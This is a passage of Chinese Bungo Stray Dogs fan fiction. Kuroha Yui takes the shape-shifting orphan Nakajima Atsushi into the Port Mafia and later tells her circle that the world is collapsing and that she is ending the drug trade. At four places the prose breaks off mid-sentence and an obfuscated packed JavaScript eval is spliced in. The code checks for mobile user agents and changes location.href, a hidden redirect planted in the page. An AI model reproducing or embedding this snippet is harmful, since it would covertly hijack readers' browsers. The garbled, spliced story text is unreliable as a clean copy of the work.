但就在这一瞬间,她看到了光。 在下方,在很深很深的下方,有一团柔和的光芒在闪烁。 于是她停止了挣扎,奋力向那里游去。 “咳咳咳——!” 黑羽结衣剧烈地咳嗽着,从…… 厨房的水池里冒了出来。 “啊——!” 还伴随着一声稚嫩的惊呼。 黑羽结衣的第一反应就是去找发声源。 视线在那个方向逡巡了一圈,没有发现目标,直到最后向下移动,才看到一个小孩。 那是个瘦瘦弱弱的男孩,穿着不太合身的衣服,白色的短发边缘乱糟糟的,完全没有被精心打理过。他手里还拿着筷子,保持着正要夹菜的姿势,整个人像是被定住了一样。 再一转头,旁边的柜子上还放着半碗饭。 “嘘。” 少女很快反应过来。她像只灵巧的猫一样跳下来,食指按住小男孩的嘴唇, “你要是再喊出来的话,马上就会有人发现你偷偷来厨房吃东西了。” 被按住嘴唇的小男孩顿时慌张起来,眼泪汪汪地祈求般看向她。 “我可以不揭发你晚上是在悄悄做了什么,但你要先回答我几个问题,” 见他点点头,黑羽结衣收回手,完全没有倒打一耙的心虚,直接问道, “这里是哪里?” 这间厨房比一般的要大很多,适应了黑暗的光线后,这里的轮廓逐渐清晰起来。 “这里是福利院。” 小男孩捂着嘴,很小声地用气音回答。 ……福利院? 书的引导真的没错吗? 她的目光落在那半碗简陋的白饭上,又看了看小男孩瘦弱的身形和不太合身的衣服。 “福利院就连饭都吃不饱吗?” 她觉得有趣,也学着小男孩的样子捂住嘴,用气音问道。 “还、还好。” 他小声说,眼神躲闪着, “我……我只是太饿了。” 黑羽结衣的眼神暗了一瞬。 横滨总是会出现无家可归的孩子,这样的情况她见得太多了。起码,他还有福利院愿意收留——比起那些在擂钵街挣扎求生的孩子们,已经算是幸运的了。 她正要再多问些什么,突然听到门外有脚步声临近。 看来刚刚那声尖叫还是吸引了一部分人的注意。 黑羽结衣的反应极快。她一个闪身,银白色的光芒一闪而过。下一秒,她的身影已经消失在原地。 只留下小男孩一个人站在那里,左右为难,最后自己悄悄地钻进了橱柜的下面。 厨房门被“砰”一声打开。 面容严厉的中年男人站在门口,威严地扫视着里面。随后他的目光停在了橱柜上的那个碗,里面还放着残余的米饭。 小男孩刚刚太害怕了,以至于他根本没有意识到自己遗漏了最重要的线索。 黑羽结衣静静地看着这一幕。 男人大步走进来,将一个个柜子打开,他的脸色越来越阴沉,最后将那个瑟瑟发抖的小男孩从角落里揪出来,像拎小鸡一样拎在半空中: “怎么又是你?!” “抱、抱歉,院长先生,我只是……” 被称作院长的人根本就不听他的解释。他扯着小男孩的后衣领,像拖一个破布娃娃一样,大步朝门外走去: “跟我去禁闭室,你得长长记性了!” 黑羽结衣还残留着些许的良心,她悄无声息地跟了上去。 禁闭室位于地下。 她琢磨了片刻,发现直接过去暴露的概率比较大,又打量了一下整栋建筑的相关位置,发现最下层还是有一点位于地上的栅栏。于是她调转了个方向,摸着声音找到了他们要到达的目的地。 黑羽结衣没有直接将头探到栏杆处,而是安静地贴在墙边,听着里面的声音。 先是小男孩的哭喊和求饶,院长不耐烦的声音,以及门砰一下被关上的声音。 她以为事情就这样结束了。 但就在下一秒,另一个声音响了起来。 ——是动物的吼叫声。 如果再详细一点描述的话,听声音种类像是老虎。 福利院怎么会有老虎? 她冒着被发现的风险,悄悄探出头,透过那扇小小的铁栅栏窗向里面看去。 然后,她看到了。 地上没有她想象的鲜血淋漓,也没有任何挣扎的痕迹。小男孩的踪迹完全消失了。在那禁闭室里的,只有刚刚的院长—— 以及一只白虎。 美丽,纯洁,强大又梦幻的生物。 它浑身雪白,黑色的条纹在月光下显得格外清晰。那双眼睛是金色的,直直地盯着面前的院长。 院长阴沉地盯着那只白虎,眉头皱得能夹死苍蝇。 “这样下去,” 他低声自语,声音里满是烦躁, “迟早有一天会被发现。万一再伤到人的话……但是就这么将他赶出去也不好。真是……” 他弯下腰,拾起地上的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331918|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副锁链。 那锁链又粗又重,一看就坚实牢固,明显不是临时找来的。 那个小孩是个异能力者? 黑羽结衣突然有种预感。 ——那就是她应该要寻找的目标了。 就连那份若有若无的焦躁也在同一时刻消失。 还真是暴殄天物啊,明明是珍贵的异能力者…… 既然这位小孩在这里过得不好,那她就心安理得地“笑纳”了。 不过得等他恢复人形之后,再好好谈谈。 黑羽结衣很有耐心。 她等着院长将镣铐牢固地束缚在白虎身上,在原地盯了半晌,确认没有任何挣脱的可能后,才转身离去。 又等了一个多小时。 月光慢慢移动,在地面上投下新的光斑。终于,那只白虎开始缩小,变回了那个瘦弱的小男孩。 黑羽结衣一个闪身,瞬移到了房间内。 顺着那扇小小的铁栅栏窗,有细微的月光照进来,她蹲下身,轻轻拍了拍小男孩的脸,把他从昏迷中唤醒。 “喂,你还好吗?” 小男孩的嘴唇动了动: “饿……” 黑羽结衣就顺着他的话向下: “有什么想吃的吗?” 小男孩费力地想了想,然后吐出那个词: “……茶,茶泡饭。” 茶泡饭?就只有这个? 她忍不住笑了。 “好,茶泡饭,我记住了。你要和我走吗?” 她用着诱哄的语气, “看在刚刚你没说出有外人在的份上。跟我走的话,之后的每一天都能吃到茶泡饭哦。” 小男孩的眼睛亮了一瞬。 “……真的可以吗?” “当然了。” 黑羽结衣说得理所当然, “不只是茶泡饭,更好的食物也是可以的。想吃多少就吃多少。” 小男孩的嘴唇动了动,显然很心动,但他又犹豫了。 “……但是如果我突然走掉的话,院长先生会生气……” “就算你不走,他不也很生气吗?并且,福利院的孩子们变少了之后,剩下的人分到的食物就会更多一些吧?再说了,大家也都很期待被领养出去,不是吗?” 小男孩似乎不知道该怎么反驳,最后缓缓点了点头。 “……嗯。” “那就这么说好了。从今天开始,我将会是你的监护人和领养人,你要一直听我的话,知道吗?” 黑羽结衣弯下腰,将他抱了起来, “而作为交换,我马上带你去吃饭。” 小男孩的眼睛亮了。 银白色的光芒一闪而过,下一秒,两人已经消失在禁闭室内。 走到半路上,黑羽结衣才想起一个重要的问题。 “对了。” 她低头看向怀里的小男孩, “你叫什么名字?” 小男孩费力地吐出那个词: “……中岛。我叫中岛敦。” 成功将一位年幼的异能者拐入港口mafia,黑羽结衣抱着愉快的心情,用最快的速度回到了横滨。 时间已经太晚,加上小男孩在陌生的地方初来乍到,她没有任何惊动下属的意思,在外面找到一家二十四小时营业的饭店吃过饭之后,她没有给中岛敦先安排什么员工宿舍,而是直接带他回了自己的房间。 “今晚睡这。” 她指了指沙发, “明天再给你安排正式的房间。” 中岛敦乖巧地点点头,缩在沙发一角,没过多久就睡着了。 黑羽结衣结衣盯着那过分稚嫩的脸庞,不由想到……照这个速度下去,港口mafia迟早要变成幼儿园。 她摇了摇头,也躺回床上,沉沉睡去。 结果早上还没有醒,卧室的门便被一把推开了。 “结衣——!” 少年极其兴奋的声音在房间里炸开, “你快看我给你拐来了什么人!等等,他是谁啊——?!” 黑羽结衣顺着他的目光看过去。 沙发角落里,中岛敦刚刚被惊醒,正揉着眼睛坐起来。白色的短发乱成一团,身上穿着明显过大的衣服,整个人看起来弱小可怜又无助。 对上门口那个少年震惊的眼神,他还忍不住瑟缩了一下。 江户川乱步的翠绿眼眸瞪得滚圆,脸上的表情精彩极了。 30.满员 “是我带回来的孩子,中岛,中岛敦,” 黑羽结衣很快反应过来,从床上坐起身,开始互相介绍, “中岛,这位是江户川乱步,我的家人。” 站在门口的少年气势汹汹地朝中岛敦走了过去,然后上半身向前,几乎是一种要直接贴到他面前的,一往无前的架势盯着他,直直地持续了那么十几秒才心满意足地直起身: “我决定了!——之后你就是我的小跟班了!” 中岛敦本能地往后缩了缩: “欸……是,是的!” 虽然根本不明白“小跟班”是什么意思,但既然对方这么说了,那就只能答应了吧? 黑羽结衣无奈地喊了一句: “乱步。” “当然是有理由的!我可不会无缘无故说这种话!” 江户川乱步立刻转过身,朝她跑来,一边跑一边辩解, “不说这个了,快跟我来,我要给你介绍一个大惊喜!” “大惊喜?” 黑羽结衣被他从床上拉起来,踉跄了两步才站稳。但江户川乱步完全无视她的挣扎,拉着她就往门外冲。 “嗯嗯,我可是准备了很久很久,前段时间一直都在忙这件事呢!结果上次还被太宰嘲讽了!快跟我来啦——” 中岛敦缩在沙发角落,眼睁睁地看着两人就这样消失在了门口。 房间里突然安静下来。只有窗外传来的隐约声响,和他自己小小的呼吸声。 他眨了眨眼,又眨了眨眼。 门没有关。 外面的世界…… 他有点好奇。 而黑羽结衣被江户川乱步一路拉着穿过走廊下了楼梯,最后来到一间会客室门前才停下脚步。 少年猛地推开门,那动作带着炫耀的意味: “你看!这位是福泽谕吉,福泽大叔和我签好了合同,接下来就是我的保镖啦!” 黑羽结衣与那位脸色僵硬,好像下一秒就要散发出杀意的银白色头发的中年人对视着,沉默了片刻后蹦出一句: “欢迎加入港口mafia。” “港口mafia?” 福泽谕吉一个字一个字地蹦出来这个名词,身上的杀气更重了。 “我接的应该只是江户川君的人身安全委托。” “那也确实没错啊,但是合同中有写‘雇主的亲属在一般情况内也在保护范畴中’这一条吧?结衣是我的家人,其他人还有比如说——中也、太宰、兰堂哥、与谢野、还有刚刚那个新来的小跟班……” 江户川乱步笑嘻嘻地插话,开始掰着手指数人头,黑羽结衣打断了他,转而歉意地冲中年人欠了欠身, “抱歉,既然您是接了乱步的委托,那就麻烦您护卫好他的安全就行,如果不介意的话,我稍后让人先为你安排住所。” 她拉着江户川乱步, “我和乱步还有话说,失礼了。” 福泽谕吉僵硬地站在原地,最后点了点头。 黑羽结衣拉着江户川乱步直接找了间隐私性高的休息室,推门而入。 一直跟在她身后的少年,一路上想说什么却忍耐了一路。等到刚关门就迫不及待地开口: “为什么结衣要拦我啊!我已经完全确认了,那份合同的违约金也好,条件也好,绝绝对对可以把他坑到这边一直打工!” 黑羽结衣抱着双臂转过身: “说吧,你们是怎么认识的?” 江户川乱步眨了眨眼: “只是无意间碰到的啦。他先前是暗杀者,后来失去了工作,就开始接一些保镖的活,只是很可惜呢,这几个月他所贴身保护的人全部都死于非命,或者提前中止委托,” 江户川乱步笑容灿烂,即使看到少女眼神狐疑也不改说辞, “所以这个时候。我就拜托他和我签了长期的保护合同。” “……但我看他不是很乐意的样子。” “那有什么关系嘛?” 江户川乱步完全不以为意。他凑近黑羽结衣,压低声音,像是要分享什么惊天秘密: “并且啊,并且啊!他可是那个特别难搞的讨厌家伙——森参事官的师兄弟哦!下次结衣你去见他的时候,可以把这个大叔带过去!绝对会吓他一跳的!” “……那又是谁?” 少年一拍脑袋: “哦哦,我忘记你不记得这件事了,是异能特务科的人啦,我们之前也因为上位的事情和他们有过谈判,清除异常区这种事就是作为其中一个谈判条件的。但那个人真的很讨厌,时不时就给我们挖坑,我不是很喜欢他啦。” 黑羽结衣若有所思地点点头。 “还有呢还有呢!” 江户川乱步显然还没说完, “我问过他的异能了,福泽大叔的异能是可以调整异能的能力,也包括能实现更好的控制。结衣你新带回来的那个小孩就是个异能力者吧?你因为他没办法控制自己的异能,担心出什么意外才会把他放到房间里,对吧?现在有了福泽大叔,你就可以专心把孩子丢给他带啦!” “啊,但是……” “是这样的原因,对吧?” 翠绿的眼眸直直地盯着她。 “你说的对,确实是这个原因。” 黑羽结衣迅速改口, “所以福泽先生刚刚的不满,是因为他本身只想接单人委托,并没有加入某个势力的打算吗?” “嗯——” 江户川乱步歪着头想了想, “也不完全是这样。” 他的表情难得认真了几分。 “照我看,他应该是……找不到什么要做的事吧?但是又不想过着过去那样在黑暗里一直生活的生活。不过安心啦结衣,他既然签了合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337111|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同,就绝对会守约的。” “那样的话稍微……让太宰和他聊两句行吗?” “我觉得不太行哦,福泽大叔是个相当固执的人呐。太宰那种说话方式,只会让他更警惕吧。” “那……” 黑羽结衣脑海中突然有一道亮光闪过,随即改了口, “没关系,我正好有些新的头绪,等我整理好在过几天的会议上和你们说。在那之前,如果你信赖他的话,就让那位先生当你的护卫吧。” “嗯?” 江户川乱步歪了歪头,随后随意答应下来, “好啊。” 比起这件事,他更在意的是另一件事: “结衣,你的脸色看上去不太好,身体没关系吗?” “没什么。” 她下意识地回答, “就是……稍微有点——” 话到嘴边,又咽了回去。 “不,没什么。只是……” 她眼里盛着全然的困惑, “为什么是我成为了首领呢?” “那是……结衣的愿望……吧。” 江户川乱步被问的一愣, “那个时候——” 他突然有些不确定了。 “嗯,我知道。最初醒来的时候你们就有提过了,‘我来成为这个首领’,” 她顿了顿, “我只是有些好奇,那个时候自己在想什么罢了。” 江户川乱步难得有些踌躇: “结衣,如果感到很累的话,我……” “没什么,真的没事,昨晚找到了那孩子,睡得晚了些,之后不会了。” 黑羽结衣干脆利落地摇摇头,露出熟悉的微笑, “那我要先回去了,说实话,我有些不太符合实际的想法,还得去找些资料印证才行。” 她转过头,快走了几步,手搭在门把手上。 就在这时。 “结衣。” 她疑惑地回头,就见少年在原地咬了咬唇,脸上的神情严肃又认真。随后他向她快步小跑过来,高高地抬起手臂,最后—— 温柔地落在了她的头顶。 那动作生疏而轻柔,带着一种小心翼翼的笨拙。 江户川乱步学着更年长的人的姿态,轻轻地、一下一下地摸着她的头: “摸摸头,摸摸头。你已经足够努力了。夸奖你。做的很棒哦。” 黑羽结衣藏在袖中的手一瞬间攥紧了。 许久,她才找回自己的声音,眼睛垂下,嘴角却弯了起来: “什么嘛,明明我才是大家长才对啊。头发都乱糟糟的了,真是的,” “——我还得回去整理啊。” 银白色的光芒突兀闪过,急匆匆地像是展示了主人公的心情。而少年站在原地,轻轻叹了口气。 “……笨蛋。” 31.少年的新生活 中岛敦进行了一次小小的冒险。 他从未关上的门的缝隙溜出来,好奇地打量着这里的一切。当听到前面有脚步声或者交谈声的时候,小小的少年就会凭借自己比一般孩子弱小的身躯偷偷藏在阴暗的角落里,直到没人了才走出来。 这里的一切都很新鲜。 走廊很长,很宽,头顶的灯管发出柔和的白色光芒。墙壁上挂着一些画——他有的能看出来是什么,有的又不能。 几个穿着黑色西装的人从走廊那头走过来,步伐匆匆,脸上带着严肃的表情。他们说着一些他听不懂的话——“交易”、“清缴”、“异常区”……这些词汇从他耳边飘过,像是另一个世界的语言。 脚步声渐远。 中岛敦从阴影里探出头,继续向前走。 又遇到几次人,又躲了几次。他的动作越来越熟练,胆子也越来越大。 然后,他来到了一扇巨大的落地窗前。 中岛敦站在那窗前,整个人都被外面的景色吸引住了。 错落的建筑,远处的港口和船只,还有那片一望无际的大海。 ——就像是梦中的场景。 前面的走廊又有什么声音,并且听起来还不是一个人或者两个人,而是一群人。中岛敦猛地打了个激灵,从那幻梦中苏醒,慌乱地朝四周看了看,最后从一扇露着些微缝隙的门里钻了进去。 “所以你才这么认识了芥川君啊。” 黑羽结衣听完他的描述,不由失笑。 面前的白发少年沮丧地发尾都在打卷: “是……对不起,我乱跑了。让您担心了。” “不用对我说敬语,我的名字是黑羽结衣,喊我结衣姐或者姐姐之类的就可以。” 她先是纠正了称呼,又说道, “别介意,实际上我也要道歉,在走之前应该先和你说说大致情况的……我只是有点好奇,为什么是兰堂哥带你回来的?” 黑羽结衣说到最后时,语气越发疑惑,视线往上移,直到与桌子前的兰堂眼神相交。 青年变魔术般从背后取出一个鼓鼓囊囊的纸袋,一边取出其中的点心一边解释道: “芥川君是因为我的原因受伤的,店长那边也因为这件事暂时没有人手了。于是这几天我暂时负责了那片区域的安全工作。” “他听到芥川君受伤之后特意拜托我给大家都带些点心当慰问品,我正好去病房里和芥川君说明,顺便将点心送给他。” 结果当他到医疗部的时候,正巧碰上了两个小孩子在交谈的场景。 虽然不认识的中岛敦当时的表述不太清楚,但听完描述,兰堂就知道自己熟悉的人中,唯有一个人有这样爱捡孩子的小毛病。 “店长给了我满满两大袋子,我一会挨个给大家分发过去。” “那兰堂哥记得控制一下乱步的甜食摄取量。” 黑羽结衣本来不打算吃的,但是想想接下来要翻阅的资料文件和繁杂的工作之后,还是不由伸手去拿了一块,边吃边问, “对了,兰堂哥,你知道有什么合法但是非常暴利的行业吗?” “……” 突然问到这个问题,这位成年人一时除了自己所待的脚下这个组织运营的产业外,也想不到合适的答案。 但是,合法……? 黑羽结衣的视线突然落在了点心店的纸袋上,若有所思。 “这么说起来,店主大叔的利润应该还是相当可观的吧,即使是在偏僻的地方开店,但从来没听过他说赔本,之前还说要再扩展新的点心种类……” “如果结衣很想知道的话,我这两天去问问看?” “嗯……也不是不行,反正乱步也很喜欢,现在还有几个小孩子也都是甜食爱好者,” 黑羽结衣语焉不详,最后拍板, “总之,先列入备选计划吧。” “关于什么的计划呢?” “今后的发展啊,未来啊之类的事……” 她嘟嘟囔囔着吐出一大堆词,语速之快像是在自言自语,末了又抬头问, “其他人和你谈过了吗?” “如果是说那件事的话——” 兰堂的声音平静,没有去回避这个问题, “我们都已经谈过了。昨天你不在的时候,我和中也还打了一场。” 黑羽结衣眨了眨眼,没对这种行为做出什么评价。 但紧接着兰堂的声音再次响起, “不过关于最终的落幕,我又有了点新思路。等你有空,我挑个时间和你说?” 她思索了几秒,点点头: “好啊,三天之后不是刚好是周一的例会时间吗,我正打算讨论些麻烦事,如果不介意,在那之后我们可以找个房间单独谈谈。” 兰堂看着她桌面上堆得高高的几乎要把人盖住的文件,点点头告辞: “好,那先不打扰你了,我也确实得找找计划成功实施的可能性,不过,这孩子……” 他马上就要离开了,教给他带的话不是很合适,但黑羽结衣这里明显看着就很忙,兰堂询问地看向对方,心里已经回想起过去几年带小孩子的经验了。 “中岛昨晚才到,人生地不熟的,留在我这里也行,不过我可能没什么时间去陪他……” 黑羽结衣的视线也落在了露出懵懂和不安的神情的少年身上。 中岛敦被这么一看,立刻开口,声音小的像蚊子: “那个……我去哪里都可以,我不会给您添麻烦的!” ……又是敬语。 她有些为难地按了按眉心: “乱步新招了一位保镖,本来说是要把中岛放在他那边,不过我觉得可以先等等……这样吧,中岛和芥川君相处的不是还行吗,最近芥川君又刚好在我们这里养伤,他们年纪相差不大,两个人做做伴也挺好。” 兰堂迅速明白了她的未尽之意,挑了挑眉: “这样啊,我懂了。” 中岛敦在他们对话的全程都是圈圈眼,完全没听懂他们之间是在说些什么,似乎是在说自己的事,但好像和自己又一点关系都没有。但最后一句他还是听懂了,随后他也露出了期待的表情。 兰堂带着少年向外走,快走出首领办公室的时候,黑羽结衣又单独喊住了他。 “不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348342|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时可能还需要兰堂哥多费点心,” 黑羽结衣提前打了个预防针, “中岛的异能不能自主控制,他应该会在特别害怕或者失去意识的时候变成白虎,小心不要惊扰到其他人了。” “原来是这样……安心,交给我吧。” 三天后。 港口mafia总部,会议室。 黑羽结衣准时出现在了门口。 她的黑眼圈很重,显然这几天都没有睡好。因为夹杂着私事,所以这次她没有请尾崎红叶前来参加。那位和乱步差不多大的少女似乎也不介意这种事,和他们这群人关系都恰到好处,既不亲近,也不疏远。 会议室内,人已经到齐了。 江户川乱步窝在椅子里,手里捧着一袋薯片,正在咔嚓咔嚓地吃着。看到黑羽结衣进来,他抬起手晃了晃,算是打招呼。 太宰治趴在桌面上,整个人像是融化了一样瘫在那里。而中原中也坐得笔直,双臂环抱在胸前,正对斜角处的太宰治释放着杀人般的眼神。 与谢野晶子撑着脸,目光落在窗外,不知道在想什么。 reborn坐在一张特制的加高椅子上,眼神危险地看向这一群似乎不太成气候的家族成员。 只有兰堂端端正正地坐在那里,见到她进来之后,冲她露出了安抚性的笑容。 这哪里是□□的干部会议,分明是幼儿园的午休时间。 心累。 “今天的会议上,我要说两件事。” 想想接下来要说什么,她就更头疼了。 “首先——” 黑羽结衣微微叹了口气。 “我们的世界,正在走向毁灭。” 会议室的气氛,在那一瞬间彻底冻结了。像是什么人施展了冻结时间的魔法一样,江户川乱步吃零食的手停顿在半空,reborn的咖啡端在嘴边都没有喝下去。 “听起来还真是让人期待啊。” 仿佛对什么都不感兴趣的太宰治终于在这一刻,脸上展现出强烈的兴致。 这句话能吐槽的地方太多了,几乎是瞬间就为会议室破了冰。 黑羽结衣见他们的注意力都凝聚过来,接着开口: “这不是什么预言或者是谎言,而是切切实实在发生的事。在几天前,我在reborn先生的陪伴下,有过一次意外的经历,在那里接触到了‘书’的一部分。这个世界在逐渐失控甚至漏洞,异常区的出现便是标志。” 她缓了几秒,让他们理解这几句话带来的巨大信息量,紧接着又说道, “乱步之前也和我说过,异常区看起来似乎和我们的世界格格不入。其实那就是摆在明面上的谜底,因为我们的世界在不断崩坏,所以才会有其他世界的入侵,至于具体原因我还不太清楚,但这确实是毁灭的表现形式。” “然后就是……啊,那就不只是两件事了。不过都和第一件事有关。” 黑羽结衣思索了片刻,似乎下了什么决定, “中岛敦,也就是我新带回来的那个孩子,我听说这几天他和你们都有接触过。在你们看来,那孩子有什么特殊的地方吗?” 32.关于未来的发展 其他几人互相对视了几眼,都没有出声,只有reborn在沉寂中开口: “你这么说是因为那小子有什么特殊之处吗?和‘书’有关?” 黑羽结衣点点头: “我只是这么猜测的。接触到书之后就股隐约有了什么预感,我才因此找到了他。虽然在我看起来中岛君并没有什么异常,不过这部分可能还需要你们多关注。” “还有第三件事,就是更现实的内容。” 她说的嗓子有点干,轻咳两声, “是关于今后港口mafia的发展规划。” “我研究了过去几年港口mafia的内部财报,其中利润最为可观,风险也最大的非法药品交易这一项,但接下来我要彻底禁止相关交易。” “当然我清楚,本来我们的财政就有些捉襟见肘,再砍掉利润最高的线就更艰难了。但我更不希望把这件事当成政府要挟我们的把柄,相对于它的利益,风险要更加高昂。” “所以,今天的会议我希望各位能拿出合适的方案来尽可能弥补这一部分业务板块解散后的负面影响。” “提问~” 太宰治懒洋洋地举起手。 “小姐说‘彻底禁止’——那之前已经在进行的交易,以及相关的渠道、人员、资金链,要怎么处理?” 黑羽结衣显然早有准备: “逐步清退。不仅如此,如果其他组织也在接触这方面的业务,我们还能以合理正当的理由对他们发起攻击。” “那可是相当的暴利行业呢……如果组织内部有些人不愿意呢?” “那很遗憾,毕竟,能接触到港口mafia内部情报的人,是不可能离开这里的,相信他们在进入组织前也有过相应的觉悟。” 太宰治轻笑了一声: “那我就没什么问题了。不过比起接下来的产业转型,听起来前面世界要毁灭这种事实要更麻烦啊。” “所以我才把它们全部放在同一场会议上来讲。毕竟我们都听说过,‘书’作为可以改写现实的世界基石,就沉睡在横滨的某处。我的遭遇说不准也能从侧面证明这一点。” 黑羽结衣的指关节轻轻敲击着桌面, “人类是世界的一部分。接下来也只是我的猜测,全部不能当真:倘若我们能通过横滨的现状来反作用影响‘书’的状态,说不准就能延缓我们的世界毁灭的过程。” 即使一味聚焦于远处虚无缥缈的未来也没有用,倒不如专注于眼下能做的事。 这是她的原则。 只是不知道ddl会什么时候到来,就如同人永远不知道自己的死亡会在什么时候来临一样,令人感到恐惧。 中原中也听到这里也不由发问: “有大致的时间吗?我是说,世界会在多久之后毁灭?” 在听到这样耸人听闻的消息之后,她的同伴们也并没有在怀疑上多浪费时间,而是以相信为基础进行了一系列发问。 她摇摇头: “很遗憾,我并没有在触碰到它的时候获得那么多信息。” “那,那张书页呢?” 黑羽结衣语气都没有打顿: “我也不知道,应该是消失了吧,在我碰到它的那一刻,我就晕了过去,醒来之后再也没有看到它。reborn先生当时陪在我身边,应该也看到了那一幕,是这样的吗?” “是啊,” 小婴儿的手还端着咖啡,闻言与她目光相接,黑漆漆的眼瞳里没有一丝光亮, “确实,在我的视角来看是完全消失了。” 没有说一句谎言。 她按了按眉心: “关于如何缓解甚至逆转这个进程,我没有什么太大的头绪,目前也只有大致的想法,首先就是清除异常区,其次……让横滨变得比现在情况要好一些吧。” “会起作用吗?” “不去尝试又怎么知道呢。再说了,这和组织的利益并不冲突,只是有一点细微的区别——” 黑羽结衣终于说出了她对组织未来的大致规划, “如果可以的话,我希望组织有更多能体现在明面上的产业经营。前段时间我有问过点心店那位大叔的大致利润,甜食的利润空间很大,不过作为主产业,对我们这个暴力组织来说还是有些太奇怪了。我想着可以把它当做对组织内部员工的家属福利,这样的支线产业进行发展……当然,我希望大家能提出一些更有建设性的意见。” 通过反复强调马上会发生的事实,将人们的注意力先吸引过来,而不再忧心于第一个爆炸性的消息。 果然,在思考之后,兰堂先回答了她: “如果说什么正当的高利润行业,娱乐产业是个不错的选择,当然我不是说我们现在名下那些电玩城赌场一类,而是指更正规些的部分。” 他在几天前被问到这个问题后,思索了几天,得出了这个对港口mafia现状来说更合适的答案。 君不知之前甚至还有一个组织老大让手下的人组了一个出道团体,据说在他们当地发展的还小有名气。 与谢野晶子补充道: “还有不动产。只要能确保社会秩序,不动产永远都是非常重要的产业。当然,我也推荐医院,我们本来就有自己独立的医院,也可以沿着这个方向再多开几家面向民众的医疗机构——毕竟以现在横滨的局面,受伤是不可避免的事。” “你们说的都太常规啦,为什么一定要这么合法呢?明明不是那么合法,但风险和成本都不大的产业也是有的吧?” 侦探碧绿色的眼眸睁开,瞥过在座的各位,语气相当无所谓。 “比如?” “比如——情报。” 江户川乱步拉长音卖了个关子, “情报交易,哪个组织都在做。而且,情报交易卖的是信息,利润高,成本低,风险可控——还能帮我们更早一步获取市场上的消息。” “太宰呢?” 看了一圈,黑羽结衣直接点他的名字, “有什么想说的吗?” 少年眨了眨眼睛,耸耸肩,双手一摊: “我觉得诸君的意见已经很充分了。并且不管是怎样发展,总得需要前期调研吧?” 黑羽结衣没有当面提她之前听到乱步说,太宰对港口mafia短缺的资金链暂时有了些什么合适的新想法这件事,只是点点头,最后为会议做了总结: “如果想要推着横滨不往下坡路走,我们得有足够的金钱和武力才行。武力用来重建秩序,而金钱用来投入市场,用钱来生钱。” “接下来可行性的建议我会拜托相关领域方面的专家进行调研,届时让我们再决定组织具体的发展方向。” 她最后环顾四周,站起身, “那么,今天的会议就到此为止。兰堂哥,你和我单独过来。” 这就是提前预定好的既定事项了。兰堂点点头,跟在她身后,两人的身影很快就消失在了会议室的门口。 也就在他们消失之后,房间内乱七八糟的嘈杂声音也都涌现了出来,剩余的人打算离去,坐在刚刚主位旁的reborn却开口了: “等等。正好,趁这个机会,我也有些话想对作为结衣的家族成员的你们说。” 兰堂想要和她讨论的是关于假死的方法。 先前,他们讨论的结果是尽量让对方以叛逃的形式离开港口mafia,再制造出一场大的骚动或者灾难,以彻底区分开兰堂和港口mafia的立场。 但青年显然现在有了新的想法: “如果按先前的做法,还是会存在纰漏。” “有心人调查,就知道我们之间相处了有多少年的时光。突然叛逃,不仅没有特别正当合理的理由——” 他顿了顿, “知道我超越者身份的人,也不会认为我会轻易地死去。” 他望向黑羽结衣: “并且,万一以后真的发生了什么意外,我也不能以一个恰当合理的身份参与战斗。所以我想,能不能以一场意外来终结这件事?我指的是——异常区。” “……因为它足够异常?” “对,异常区内的情况错综复杂,什么样的可能都会出现,那样被派出去进行清剿任务的我,消失在其中也是很有可能的事吧。正因为是会消失的证据,也并非人类能干涉的现象,也就无从谈起当时的真相。” “所以在这样的情况下,不管是我自作主张的失踪,还是真的迷失在了异常区内,我觉得都比叛逃的方式要更合理。” “也就是说考虑到有人知道你超越者的身份,而对你的消失方式会进行怀疑,那么异常区确实是个好的突破口。” 黑羽结衣慢慢思索着,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352163|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“但要找到这样的类型,可没那么容易碰到。” 兰堂点头: “我知道,但这个方法更合适。不管是之后的死而复生,还是彻底的消除兰堂这个身份……莫名其妙的叛逃,总比可以查证到的任务记录更不可信。” 他深吸了一口气, 